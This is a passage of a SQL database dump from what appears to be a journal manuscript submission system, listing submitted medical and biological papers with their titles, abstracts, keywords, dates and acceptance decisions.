Study participants were 50 years and older, self-identified as LGBTQ, and resided in Cook County. With this knowledge, HBH plans to launch culturally competent wellness programs to improve the quality of life of its LGBTQ older adult patients.','Aging; health disparities; LGB; LGBTQ; older adults',3282,NULL,'2021-11-24',NULL,'Submitted',2,NULL,'2021-12-23',NULL,1,1,'1','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11673,12053,1020,0,'ipmedt-21-11673','Study of GABA receptors and their clinical significance',NULL,3,2,'','Gamma Amino-Butyric Acid (GABA) receptors are the major inhibitory neurotransmitter in the central nervous system. GABA is thought to be present in the majority of neurons in the brain and spinal cord. Because of the enormous number of receptor subtypes and the diversity of ligands that bind with particular places on the receptors, they appear to be the most complex of the ligand-gated ion channel superfamily.\r\n\r\nType of GABA receptors\r\n\r\nThere are two distinct classes of GABA receptors, GABAA and GABAB. They differ from each other in their pharmacological, electrophysiological and biochemical properties.  \r\n\r\nGABAA receptors\r\n\r\nA rise in membrane conductance is mediated by the GABAA-receptor. This increase in conductance is frequently accompanied by membrane hyperpolarization, resulting in a rise in the firing threshold and, as a result, a decrease in the probability of action potential initiation, resulting in neural inhibition. The GABA-dependent acceleration of Cl- ion inflow through a receptor-associated channel accomplishes this decrease in membrane resistance. Increased Cl- permeability, on the other hand, might depolarize the target cell under certain circumstances of high intracellular Cl.\r\n','GABA receptors; Brain; Spinal cord; Neurons; Action potential',5044,NULL,'2021-11-24',NULL,'Submitted',19,NULL,'2021-12-04',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(11684,12056,45,0,'iphsj-21-11684','PREVALENCE OF BED-SORE AND ITS ASSOCIATED FACTORS AMONG HOSPITALIZED PATIENTS IN MEDICAL AND SURGICAL WARDS AT YEKATIT 12 HOSPITAL MEDICAL COLLEGE, ADDIS ABABA, ETHIOPIA 2018',NULL,14,0,'','Abstract \\\\r\\\\n Background Bed sore (BS) ( also known as pressure sore (Ps), pressure injury (PI), decubitus ulcer (du), pressure ulcer (Pu), defined as an area of localized damage to the skin and subordinate tissue caused by pressure. (1). PU leads to ischemia, cell death and tissue necrosis, capillaries are compressed and the blood rush is limited, the cutaneous tissue turned broken or destroyed, leading to progressive destruction and necrosis of underling soft apkins. \\\\r\\\\n Objective To assess frequency of bed sore and its associated factors among rehabilitated cases in medical and surgical wards at yekatit 12 hospital medical college, Addis Ababa, Ethiopia 2018. \\\\r\\\\n Method Institution- grounded, cross-sectional quantitative study design was conducted on a representative sample of 94 rehabilitated cases in the study area from March15, 2018 to May 13, 2018. \\\\r\\\\nResult A aggregate of 7 beds sore were detected from 226 cases, with the frequency rate of3.0. Maturity of replier 6 (2.65) developed bed sore who came from the civic area and 3 (1.32) cases developed ulcer wasn\\\\\\\'t educated, and actors who had been veritably poor in nutrition was 2 (0.88) cases \\\\r\\\\n Conclusion and recommendation Frequency of the pressure ulcer was low among rehabilitated cases in this study, age, bedridden, position change, humidity, and nutrition were significant associated with the frequency of pressure ulcer so the frequency of pressure ulcer was low because the cases and health care professionals have knowledge about bed sore and they rehearsed it. \\\\r\\\\nKey words bed sore, frequency and associated factors. ','Key words bed sore, frequency and associated factors. ',4076,NULL,'2021-11-24',NULL,'Submitted',2,NULL,'2021-12-29',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11693,12065,45,0,'iphsj-21-11693','ASSESSMENT OF PRENATAL IRON+ FOLIC ACID SUPPLEMENTATION AND UTILIZATION AMONG  PREGNANT  WOMEN AT ANC CLINIC IN KIRKOSE SUBCITY HEALTH CENTER ADDIS ABABA, ETHIOPIA',NULL,14,0,'','ABSTRACT\r\nBackground: Globally 41.8% of pregnant women are anemic with the highest proportion affected in developing countries. Nationally only 0.4% of the pregnant women take Iron supplements quite 90 days of the recommended 180 days. In oromiya region 75.3% of pregnant women don\'t take any iron tablets or syrup during their last pregnancy, while 10.8% deem but 60 days, 0.4% takes for 60-89 days and only 0.3% takes for 90 days or more.\r\nObjective: To Assess prenatal Iron + folic acid supplementation and utilization among pregnant women attending ANC clinic in Kirkose Sub city, Addis Ababa, Ethiopia.\r\nMethods: Institution based cross-sectional quantitative study design was conducted in Kirkose Sub city from June 2021 to July, 2021.There was seven health centers selected for this study. The sample size 317 was selected with systematic sampling method. Five percent of the sample size was pre-tested in one institution which was not included for data collection. Data was collected using structured pre-tested questionnaire. Before data collection verbal consent was obtained. The collected data was analyzed SPSS version 20.0 packages to show the magnitude of prenatal folic acid utilization and supplementation.\r\nResult: A total of eligible 317 study population, 287 were successfully participated with a response rate of approximately 90.5%. The study participants had a mean age of 27.4 years. The magnitude of iron-folic acid supplementation was found to be 231(80.5%). Among the respondents who took IFA they replied 20(8.65%) took for a month duration, 62(26.8%) took for two months, 84(36.3%) of them took for three months and the rest 65(28.1%) took for more than three months.\r\nConclusion: Even if the magnitude iron-folic acid supplementation was high in this study, there was still low utilization among pregnant women.\r\nKey words: Iron/folic acid, pregnant women, \r\n','Key words: Iron/folic acid, pregnant women, ',4076,NULL,'2021-11-24',NULL,'Submitted',2,NULL,'2021-12-28',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11710,12077,971,0,'ipaclr-21-11710','Prescription pattern and appropriateness of stress induce ulcer prophylaxis in Dessie Referral Hospital, North East Ethiopia; Cross-sectional study',NULL,14,0,'','Background: Stress-related mucosal damage includes the spectrum of pathology attributed to the acute, erosive, inflammatory insult to the upper gastrointestinal tract associated with critical illness. This study assessed prescription pattern and appropriateness of stress induce ulcer prophylaxis (SIUP) in Dessie Referral Hospital, North East Ethiopia.\r\nMethodology: An institutional-based cross-sectional study design used to assess prescription pattern and appropriateness of SIUP of 107 patients from May 1 to June 22, 2018. Simple random sampling technique was used to select the study participants. Statistical package for social sciences version 20 was used to compute descriptive and inferential statistics.\r\nResults: The response rate of the study was 93.15 %. Of 100 patients, 82 had been received SIUP and only 50 (50%) fulfilled the prescription criteria. One-third (33%) of participants had more than three morbidities.  The number of morbidities ranged from 1-5 with a mean 2.11±0.99. On average, 4.56±1.54 (1 to 9) number of drugs per patient was prescribed. From 50 patients who fulfill prescription criteria’s, 36 (72%) were based on major and 14 (28%) were based on minor criteria. Eighteen patients didn’t receive SIUP while they fulfilled the criteria. Omeprazole 12 (24%) and cimetidine 38(76.0%) were the only two drugs used for SIUP. Factors associated with inappropriate use of SIUP was being female (AOR =3.80, 95% CI: 1.65 - 8.74, P value: 0.002) and patients taking cimetidine (AOR= 2.83, 95% CI: 1.54 - 5.21, P value: 0.001).\r\nConclusions: The overall adherence level was found to be half and major criteria’s were used for majority of patient which received SIUP. Strengthening of clinical pharmacist involvement in drug utilization process and adhering to the standard guidelines will reduce the burden of inappropriate SIUP use.','Prescription pattern, stress induce ulcer prophylaxis',4702,NULL,'2021-11-25',NULL,'Submitted',4,NULL,'2022-03-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(11739,9153,45,0,'iphsj-21-11739','Evaluation of a rapid in vitro diagnostic test device for detection of SARS-CoV-2 antigen in nasal swabs',NULL,14,0,'','Objective : The aim of this work was to explore reliability and performance of an antigen rapid test device on random clinical specimens routinely collected for SARS-CoV-2 diagnosis.\r\nMethod : Run a rapid in vitro diagnostic test device for detection of SARS-CoV-2 antigen in nasal specimens taken among those routinely analyzed by RT-PCR. 100 RT-PCR negative specimens for SARS-CoV-2 and another 100 positive specimens were tested.\r\nResults : Concordance for SARS-CoV-2 negative results was 100% between Ag rapid test and RT-PCR. \r\nConcordance for SARS-CoV-2 positive results was 91% in our series (Ct range from 11 to 32). Concordance for positive results was 97,8% if we consider only specimens with Ct<25. Taking in account dilution in VTM, we estimate this concordance would be 97,8% for specimens with Ct<28. \r\nConclusion : Rapid Ag test devices are convenient devices to aid in the rapid diagnosis of SARS-CoV-2 infections. Molecular diagnosis based upon viral RNA amplification is better because of its lower limit of detection. Specimens should be positive by rapid Ag testing if viral burden corresponds to Ct of around 28 or less by RT-PCR. This is very frequent with virus-producing patients. As this device targets N Ag, molecular variations within S gene did not influence performance of the test.','respiratory infection, SARS-CoV-2, Ag rapid test, COVID-19',4825,NULL,'2021-11-26',NULL,'Submitted',2,NULL,'2021-12-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11744,10847,45,0,'iphsj-21-11744','Practice and associated factors of traditional uvulectomy among caregivers having children less than 5 years old in South Gondar Zone, Amhara Region, Ethiopia, 2020; a triangulated cross-sectional study',NULL,14,0,'','Introduction: Traditional uvulectomy is widely practiced in Africa especially in sub-Saharan countries including Ethiopia. Studies conducted in different times and areas of the world have shown that the level of practice of uvulectomy and its associated factors were varied from country to country. Therefore, this study was carried out to assess the practice and associated factors of traditional uvulectomy among caregivers having children less than 5 years old in the South Gondar Zone. \r\nObjective; this study aimed to assess practice and associated factors of traditional uvulectomy among caregivers having children less than 5 years old in South Gondar Zone, Amhara Region, Ethiopia, 2020.\r\nMethod: a community – based triangulated cross-sectional study was conducted on 644 participants.  Quantitative data were collected from 634 participants using a structured interviewer-administered Amharic version questionnaire; it was entered into Epi Data and analyzed using SPSS. Qualitative data were collected from 10 participants via an in-depth interview and analyzed by OpenCode. Descriptive statistics were calculated and logistic regressions were fitted to declare statistical significance at p-value < 0.05 and 95% CI.\r\nResult: the prevalence of traditional uvulectomy in this study was 52.5% (95% CI, 48.6 – 56.3%). Moreover, lack of information [AOR = 2.975 (1.677 - 5.277)], perceived as uvula causes illness [AOR = 4.888 (2.954 - 8.086)], future intention or will perform [AOR = 4.188 (2.584 - 6.788)], perceived as traditional uvulectomy should not be eradicated [AOR = 1.893 (1.172 - 3.057)]), saw the previous good result [AOR = 9.396 (5.512 - 16.016)], health personnel hospitality problem [AOR = 5.922 (2.392 – 14.664)] and did not get cured by pharmacologic treatment [AOR = 3.918 (2.073, 7.405)] were significantly associated with traditional uvulectomy.\r\nConclusion and recommendation: the prevalence of traditional uvulectomy was high. Lack of information, perceived as uvula causes illness, future intention to uvulectomy, perceived as traditional uvulectomy should not be eradicated, saw the previous good result, health personnel hospitality problem and did not get cured by pharmacologic treatment were the factors significantly associated with traditional uvula cutting. Therefore, special attention will be given to creating further awareness to the community at large and setting controlling mechanisms for the health care delivery system.','South Gondar Zone, traditional uvulectomy',4048,NULL,'2021-11-26',NULL,'Submitted',2,NULL,'2021-12-29',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11759,12114,45,0,'iphsj-21-11759','Developing a cost-effective user-friendly tool, ensuring medical documentation, and facilitating dental operations',NULL,14,2,'An introduction to root curve detector','Root canal treatment is one of the most routine dental operations that require expertise in tooth anatomy, including an accurate assessment of root canal curvature (e.g., degree of curvature, radius, level, length, height, and coefficient). Since the identification occurs in the early stages of the treatment, a misdiagnosis could prevent the removal of all of the pulp tissue and microorganisms from the root canal which can lead to post-procedural infections. It is customary to utilize clinical and radiographic examinations to increase the accuracy of the root canal curvature measurement. Recently, digital instruments such as the Apex locator assist the dental practitioner in this process by providing a more practical solution for the necessary assessments prior to endodontics procedures. Unfortunately, the above-mentioned methods of root canal curvature identification have some critical disadvantages that would result in a high level of uncertainty and information gaps that are necessary for a successful procedure. These disadvantages could include things such as the exorbitant price of Apex locators, and the unavailability of necessary documents to assist dentists in case of legal matters if supporting evidence on the success of endodontic treatment is requested by the patient. We have designed an innovative dental instrument to improve the accuracy of endodontic treatment. The Root Curve Detector (RCD) is placed inside the damaged teeth and with the help of the x-ray imaging, can detect the buccal/ lingual root curvature. RCD is an affordable device that equips the dentist with a high-precision diagnostic tool regarding root canal curvature. It would also allow gathering and recording evidence on the endodontic treatment process.','apex locator, endodontic, radiographic, root-canal morphology, canal curvature ',692,NULL,'2021-11-28',NULL,'Submitted',19,NULL,'2021-12-22',NULL,1,1,'0','accepted',0,'','',NULL,0,4,0,NULL,0),(11786,12104,86,0,'ipaom-21-11786','EFFECTIVENESS AND SAFETY OF WEEKLY SUBCUTANEOUS SEMAGLUTIDE FOR WEIGHT MANAGEMENT IN OBESE ADOLESCENTS: AN OBSERVATIONAL STUDY',NULL,14,0,'','We aimed to evaluate effectiveness and safety of weekly subcutaneous (sc) semaglutide for weight reduction, along with diet and lifestyle modifications in severely obese adolescent patients attending an Obesity Unit.\r\nIn a prospective observational study, 21 severely obese adolescent patients (18 females, mean age 14.95 years, mean baseline body mass index 33.01 kg/m2) were followed for 8.0 months (median) after initiation of sc semaglutide in two different private institutions. Starting dose and dose titration were decided according to best clinical judgement and based upon effectiveness and gastrointestinal tolerance.\r\nAt final office visit patients averaged a weight loss of 8.32 ±7.65 kg (8.68 ±7.76% baseline body weight). Starting dose was 0.23 mg and final dose was 0.68 mg. Two patients prematurely discontinued treatment and one patient was lost from follow-up. Nausea and abdominal pain at the beginning of treatment were reported by 10 (47.61%) and 5 (23.81%) patients, respectively. One patient had a vomiting episode and another complained from diarrhoea. No other safety issues were noted.\r\nCONCLUSION: Out-of-label weekly administration of sc semaglutide with a sui-generis titration scheme resulted in a clinically significant and safe weight loss in obese adolescents. Initial nausea and abdominal pain were frequently reported. Magnitudes of weight loss and safety profile were similar to those of adult population, yet with lower doses. Weekly administration of sc semaglutide is a promising adjunct therapy to standardised model of care of children and adolescents with obesity that deserves further evaluation to confirm safety and efficacy.','observational study, adolescent obesity, GLP-1 analogue, subcutaneous semaglutide.',2890,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2021-12-15',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11795,12139,86,0,'ipaom-21-11795','Hemiplegic Cerebral Palsy causes and its Treatment',NULL,5,0,'','A retrospective population-based study of 169 instances with hemiplegic cerebral palsy (CP) from the South-western Swedish health care region covering the birth years 1969-1978 was conducted. The goal was to look at the prevalence, aetiology, and neurodevelopmental outcomes in preterm and full-term babies, as well as correlate pathogenetic periods, etiological factors, and clinical parameters to neuroradiology. The frequency was 0.66 per 1000 between the ages of 6 and 15.','hemiplegic cerebral palsy',2890,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2021-12-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11801,12139,86,0,'ipaom-21-11801','Diabetes Epidemiology',NULL,5,0,'','Diabetes disease burden is high and rising in every country, fueled by an increase in the prevalence of obesity and unhealthy lifestyles around the world. Diabetes\' aetiological classification has recently become universally accepted.','Diabetes disease',2890,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2021-12-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11804,9456,86,0,'ipaom-21-11804','Hypertrophic Cardiomyopathy',NULL,5,0,'','Hypertrophic cardiomyopathy (HCM) is a rather common condition seen by anesthesiologists in the perioperative phase. HCM was thought to be a rare condition fifty years ago. However, our understanding and capacity to diagnose HCM patients has vastly increased in recent years. Patients with HCM have a wide range of genotypic and phenotypic characteristics.','Hypertrophic cardiomyopathy',2890,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2021-12-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11806,12146,277,0,'ipadm-21-11806','FINERENONE Y SU PAPEL EN LA ENFERMEDAD RENAL DIABÉTICA. ESTADO DEL ARTE',NULL,6,0,'','RESUMEN\r\nLa enfermedad renal diabética representa la primera causa de enfermedad renal terminal y su presencia impacta directamente en el riesgo cardiovascular y la mortalidad de los individuos con diabetes mellitus. Siendo la albuminuria el principal marcador de la ERD su reducción se ha constituido en los últimos años como uno de los objetivos terapéuticos para impactar en la evolución de la enfermedad. El finerenone, un antagonista de los receptores mineralocorticoides, se ha descrito en diversos estudios recientes como un fármaco cuyo mecanismo de acción podría contribuir a la reducción de la progresión de la ERD, disminuyendo el deterioro de la TFGe y la albuminuria con un adecuado perfil de seguridad en pacientes en todos los estadios de la enfermedad renal. \r\n','PALABRAS CLAVES:\r\nFinerenone, enfermedad renal diabética, antagonista mineralocorticoide\r\n',2805,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'0','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(11808,12148,86,0,'ipaom-21-11808','TITLE OF THE PAPER: A STUDY OF CORRELATION BETWEEN SERUM TRIGLYCERIDES AND SEVERITY OF CEREBROVASCULAR ACCIDENT',NULL,14,0,'','ABSTRACT:\r\n           Stroke is the second leading cause of death worldwide²; it is accounting for up to 20 percent of all central nervous system disorders in the urban sectors of India. Stroke is defined as an abrupt neurologic deficit that is attributable to focal vascular etiology. Risk factors for stroke mainly are hypertension, diabetes, carotid stenosis, smoking, hyperlipidemia, atrial fibrillation, myocardial infarction, and atrial myxomas. \r\nNikolai Anichkov first proposed the relationship between cholesterol and atherosclerosis way back in 1912. Later on, observational studies have undoubtedly established hyperlipidemia as an independent risk factor for coronary artery disease. \r\n          Law et al. confirmed that low cholesterol concentrations are associated with an increased risk of death from ischaemic heart disease. \r\nWeir et al.observed that low triglyceride (TG), not low Total Cholesterolconcentration, predicts poor outcomes after acute stroke. \r\n          The probable mechanism responsible for the association between TG level and stroke severity is unknown. \r\n           This study is undertaken to correlate serum triglyceride levels on admission with the severity of stroke as measured by the Scandinavian stroke scale.','KEYWORDS: Triglycerides(TG), Scandinavian Stroke Scale(SSC), Stroke, Hypertension, Diabetes, Ischemic Heart Disease(IHD)',2890,NULL,'2021-11-29',NULL,'Submitted',2,NULL,'2021-12-13',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11816,12154,86,0,'ipaom-21-11816','Drug Reactions Offending the Kidney',NULL,5,0,'','The number of medications currently on the market is incalculable, and their prescription is steadily increasing, raising the risk of severe effects. Currently, the entire population is exposed to a variety of pharmacologic substances, the majority of which are toxic and used without scientific explanation.','medications , kidney',2890,NULL,'2021-11-30',NULL,'Submitted',2,NULL,'2021-12-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11846,9677,251,0,'ipacm-21-11846','Bacteriophage: The Invaders of Bacteria',NULL,5,0,'','Bacteriophage, also called phage or bacterial infection, is a group of viruses that taint microbes. Bacteriophages were found by Frederick W. Twort and Félix d\'Hérelle in France (1917). D\'Hérelle coined the term bacteriophage, signifying \"microscopic bacteria eater,\" to portray its bacteriocidal capacity. Bacteriophages also infect the single-celled prokaryotic life forms known as archaea.','',780,NULL,'2021-12-01',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11852,12179,975,0,'ipjbs-21-11852','Anti-microbial effect of filtered 222nm excimer lamps in a hospital waiting area',NULL,14,0,'','Background\r\nHospital aquired infections is a considerable challenge for vulnerable patients. Traditional anti-microbial mercury lamps emit light at 254nm and have well established anti-microbial effects. Their use in populated areas is, however, hindered by their carcinogenic properties. This is in contrast to anti-microbial lamps based on krypton chloride (KrCl), demonstrated to have no carcinogenic potential. These lamps emit light with a peak intensity at 222nm and have broad bactericidal and viricidal effects including inactivation of SARS-CoV2. It is, however, unclear how 222nm lamps perform in a real-life setting. In this study we aimed to assess the anti-microbial efficacy of filtered 222nm excimer lamps in a real-world setting at an out-patient pulmonology clinic.\r\n\r\nMethods\r\nFiltered KrCl 222nm excimer lamps (UV222 TM lamps) were installed in an out-patient waiting area at the pulmonology section at Aarhus University Hospital.  Furniture sufaces were sampled for bacterial load in a single-arm interventional longitudinal study with and without exposure to filtered 222nm UVC-light. Furthermore, bacterial species were identified using MALDI-ToF mass-spectrometry.\r\n\r\nFindings\r\nFiltered 222nm UVC-light significantly reduced the number of colony-forming-units. Pathogenic bacteria such as Staphylococcus Aureus and Staphylococcus Epidermidis were detected only in the non-exposed areas suggesting that these species in particular are highly sensitive to inactivation by 222nm UVC-light.\r\n\r\nConclusions\r\nFiltered UVC-Light is efficient in reducing bacteria from exposed surfaces in the real-life setting of a patient waiting area and hereby supports the use of the 222nm UVC technology to reduce bacterial load and thus the spread of infectious disease in a hospital setting. \r\n','UV222\r\nBacterial\r\nHospital setting',4089,NULL,'2021-12-01',NULL,'Submitted',2,NULL,'2021-12-22',NULL,1,1,'1','Can be publish',0,'','',NULL,0,0,0,NULL,0),(11855,12182,86,0,'ipaom-21-11855','   Covid – 19: An emerging disease of 21st century',NULL,15,0,'','A remarkable coronavirus termed as serious acute respiratory syndrome coronavirus-2 (SARS-CoV-2) was disengaged from the lower respiratory tract sample as a causative agent and present a significant danger to public health. It belongs to the genus Coronavirus and placed in family Coronaviridae. Phylogenetic analysis of the complete viral genome (29,903 nucleotides) revealed that the virus was most closely related (89.1% nucleotide similarity) to a group of SARS-like coronaviruses (genus Betacoronavirus, subgenus Sarbecovirus) that had previously been found in bats in China. This disease or infection is transmitted by the inhalation or contact with infected drops and the incubation time frame goes from 2 to 14 days. The symptoms of it are normally fever, cough, breathlessness, sore throat, fatigue, malaise among others. The infection is mild in most people (mostly the older one and those with comorbidities). It might advance to pneumonia, acute respiratory distress syndrome (ARDS) and multi organ dysfunction too. Many individuals are also asymptomatic. This outbreak features the ongoing capacity of viral spill-over from animals to cause serious infection in humans. This review article includes the characteristics, morphology, symptoms, clinical progression and diagnosis of corona virus.','Coronavirus, Infection, humans, Symptoms, Capacity, Disease.',3031,NULL,'2021-12-02',NULL,'Submitted',2,NULL,'2021-12-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11859,12186,45,0,'iphsj-21-11859','Evaluation of a Rapid in vitro Diagnostic Test Device for Detection of SARS-CoV-2 Antigen in Oral Fluid',NULL,15,0,'','Objective \r\nThe aim of this evaluation report was to explore the reliability and performance of the AllTest COVID-19 Antigen Rapid Test for Self-Testing (Oral Fluid) on clinical specimens collected for SARS-CoV-2 diagnosis.\r\n\r\nMethod\r\nRun a rapid in vitro diagnostic test device for detection of SARS-CoV-2 antigen in oral fluid and compare to the RT-PCR system whose samples were collected by nasopharyngeal swabs for validation of the performance.\r\n\r\nResults\r\nConcordance for SARS-Cov-2 negative results was 100% between Antigen Rapid Test and RT-PCR. Concordance for SARS-CoV-2 positive results was 100% in our series (Ct range from 31-35).  \r\n\r\nConclusion\r\nRapid antigen test devices are convenient devices to aid in the rapid diagnosis of SARS-CoV-2 infections. Specimens should be positive by rapid antigen testing if viral burden corresponds to Cycle Threshold (Ct value) of around 33 or less by RT-PCR.  This is very frequent with virus-producing patients.  The higher the Ct value, the higher the chance for an antigen test to be negative but is also the lowest for the patient to be contagious.','COVID-19, Antigen rapid test, SARS-CoV-2, respiratory infection',643,NULL,'2021-12-03',NULL,'Submitted',2,NULL,'2021-12-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11870,12191,959,0,'ipacr-21-11870','Absence of WDR13 in p53-Null Mice Increases Longevity',NULL,17,0,'','Absence of WDR13 is known to be involved in pancreatic, colon and uterine hyper-proliferation. However, a recent study showed its anti proliferative role liver regeneration in response to hepatotoxins. These findings intrigued to study the role of WDR13-null condition in Trp53 knockout mouse to study the tumor predisposition and survival. We report absence of Wdr13 in Trp53-null background alleviates the tumor load, in turn increasing total survival in mouse model.','',2817,NULL,'2021-12-03',NULL,'Submitted',12,NULL,'2022-07-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11872,12193,975,0,'ipjbs-21-11872','Essential thrombocytosis, JAK2 V617F mutation, hypereosinophilia and recurrent thrombosis: is it a new variant of myeloproliferative neoplasm?',NULL,2,0,'','We report for the first time in the literature, a patient of recurrent thrombosis associated with thrombocytosis, hypereosinophilia and JAK2 V617F mutation. The presence of hypereosinophilia in JAK2 mutated ET suggest this case as a novel subtype of myeloproliferative neoplasms. The exact clinical phenotype of this subtype still needs further study, particularly the significance of the possible association with thrombotic complications and the need to choose the appropriate JAK2 inhibitor for treatment of this disorder.','Thrombocytosis, hypereosinophilia, JAK2 V617F mutation',5108,NULL,'2021-12-03',NULL,'Submitted',16,NULL,'2021-12-29',NULL,1,1,'0','can be publish',0,'','',NULL,0,0,0,NULL,0),(11878,12198,91,0,'ijddr-22-11878','A Review: Oral Dispersible Tablets',NULL,15,2,'','The oral route of drug administration is speculated as one of the most acceptable route for drug delivery. Recently the orally dispersible tablets have become the most desirable dosage forms especially for a special category of patients i.e. pediatric, geriatric, bedridden, mentally ill, and uncooperative patients. Quick disintegration, better patient compliance, enhanced bioavailability are some of the vital characteristics of  orally dispersible tablets which makes it superior from other traditional dosage forms. It is the most prominent dosage form for the patients which face difficulty in swallowing other conventional dosage forms. Basically the oro-dispersible tablets are defined as  novel solid dosage form that provide the rapid disintegration or dissolution of solid medicament to exhibit it as a solution or in suspension form before administration. Reportedly, there are numerous drug candidates, which have been successfully formulated as orally dispersible tablets and have resulted in satisfactory in-vitro as well as in-vivo results. By going through this review, a researcher can easily become familiar to this novel formulation, as this review gives an quick insight of the advantages, disadvantages, ideal         characteristics, method of preparation, and evaluation parameters of the oral dispersible tablets.','Oral dispersible tablets, Orodispersible technologies, Solid dosage forms, Patented technologies',5033,NULL,'2021-12-04',NULL,'Submitted',19,NULL,'2022-03-26',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(11882,12203,86,0,NULL,'Rrrrrrrrr',NULL,2,0,'','Xxxxxxxxxxxcxcccccccccccccccccccccccccccccccccccccccccccccccccccccc','',5013,NULL,'2021-12-04',NULL,'Submitted',4,NULL,'2021-12-06',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11914,12226,73,0,'ipjnn-21-11914','Lou gherig\'s disease ',NULL,18,0,'','Demyelinating diseases are rare but disabbling diseases.  ALS is one such disease.','ALS.  Demyelinating diseases.',344,NULL,'2021-12-07',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11928,12238,639,0,NULL,'Microsatellite loci based segregation of hybrid varieties of the three most popular Indian major carps',NULL,15,2,'Microsatellite loci based segregation','The major carps like Rohu, Catla, and Mrigal are traditionally cultured freshwater varieties of fish with high commercial value in India. Production of natural and man-made hybrid fish is very common among these varieties due to high demand and unscientific ways of producing more fish seeds in a congregated manner within stagnant water of mainly private fish farms and hatcheries. Conventionally, external morphological features are the basis of identification for these fish species but increasing emphasis on biodiversity issues has necessitated proper stock management of these fishes through molecular genetics techniques. This has triggered the genetic characterization of natural fish sources as the true way of identifying wild and hybrid types. Present work applies molecular genetics approach facilitating microsatellite marker-based identification by polymerase chain reaction (PCR) amplification technique that would help the fish breeders and hatcheries in discrimination of wild and hybrid fish species. Three sets of primers were used to cross amplify three different microsatellite markers from the genomic DNA of these fishes. We report here that the PCR amplification using these three different primer sets could be primarily used as the first step in screening hybrid verities from these three wild Indian Major Carps.  ','PCR, Mrigal, Hybrid, genomic DNA, Microsatellite marker.',1774,NULL,'2021-12-08',NULL,'Submitted',19,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(11932,12241,45,0,'iphsj-21-11932','erdhntlxhtbmg',NULL,14,0,'','\r\n','',3756,NULL,'2021-12-08',NULL,'Submitted',2,NULL,'2022-02-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11949,12253,86,0,'ipaom-21-11949','Complicated intramuscular Tuberculous cold abscess',NULL,2,0,'','24 years old male, previously healthy, presented with a 6 months history of fever, back pain, left sided upper back swelling and weight loss. US soft tissue of the back showed superficial intramuscular large collection of asymmetric thick wall showing complex content. CT thorax showed right upper loculated pleural collection with enhancing wall extending to the soft tissue of right upper lateral chest wall associated with bony destruction and a left large intramuscular collection involving the left para spinal muscles with mild extension to the right side, and there is a tiny bone fragments in the posterior lower part of the collection communicating with the left paraspinal/prevertebral collection. Fine needle aspiration of the fluid was sent for analysis, was positive for TB AFB Smear and PCR. Patient was started on Anti-TB and referred for thoracic surgeon to be followed in outpatient clinic.','',3031,NULL,'2021-12-09',NULL,'Submitted',2,NULL,'2021-12-23',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11951,12255,975,0,'ipjbs-21-11951','Association between insulin resistance and metabolic syndrome with thyroid status in normal and overweight/obese population: A Review',NULL,5,0,'','Abstract\r\nBackground: Hypothyroidism has multiple etiologies and manifestation where accurate diagnosis and appropriate treatment is required and is influenced by coexisting medical conditions. This paper describes evidence-based clinical causes and indications. Objective: To review the clinical effect of hypothyroidism in different selected aspects and summarize the potential evidence about relationship between subclinical hypothyroidism with cardiovascular disease, diabetes mellitus, insulin resistance, and mortality. Data Sources: A systematic review was conducted by searching English-language articles identified from 23 databases and search engines, yielding over 1000 documents. Study Selection: Reports on the effects of hypothyroidism versus euthyroidism on obesity, insulin resistance, cardiovascular disease, coronary heart disease and mortality. Data Extraction: Data from research articles on hypothyroidism including subclinical hypothyroidism (SCH) and overt hypothyroidism, insulin resistance including diabetes mellitus and risk for coronary heart disease (CHD) including metabolic syndrome were independently assessed and summarized. Data Synthesis: Twelve of twenty-nine identified studies involved population-based cohorts, case controls and retrospective studies that included 4306 subjects. All 13 studies examined risks associated with subclinical hypothyroidism with type 2 diabetes mellitus (T2DM) and prevalence rates of SCH in T2DM patients ranged from 4.69% to 64.28% in the 12 included studies. Moreover, 4 studies out of the above 12 studies have revealed insulin resistance in the participants. Another population-based 12 studies have been carried out to assess hypothyroidism related cardiac manifestation and according to the given data, average prevalence of CHD in hypothyroid participants is 25.20 (vary from 3.73 to 47.14) and it is 13.90 in euthyroid participants (vary from 1.17 to 38.49). Conclusions: Type 2 diabetes mellitus people are more likely to get subclinical hypothyroidism and subclinical hypothyroid population also show several complications associated with type 2 diabetes mellitus. Besides, subclinical thyroid dysfunction might represent a risk factor for coronary artery disease and mortality.\r\n','Subclinical hypothyroidism, Euthyroidism, Diabetes Mellitus, Insulin Resistance, 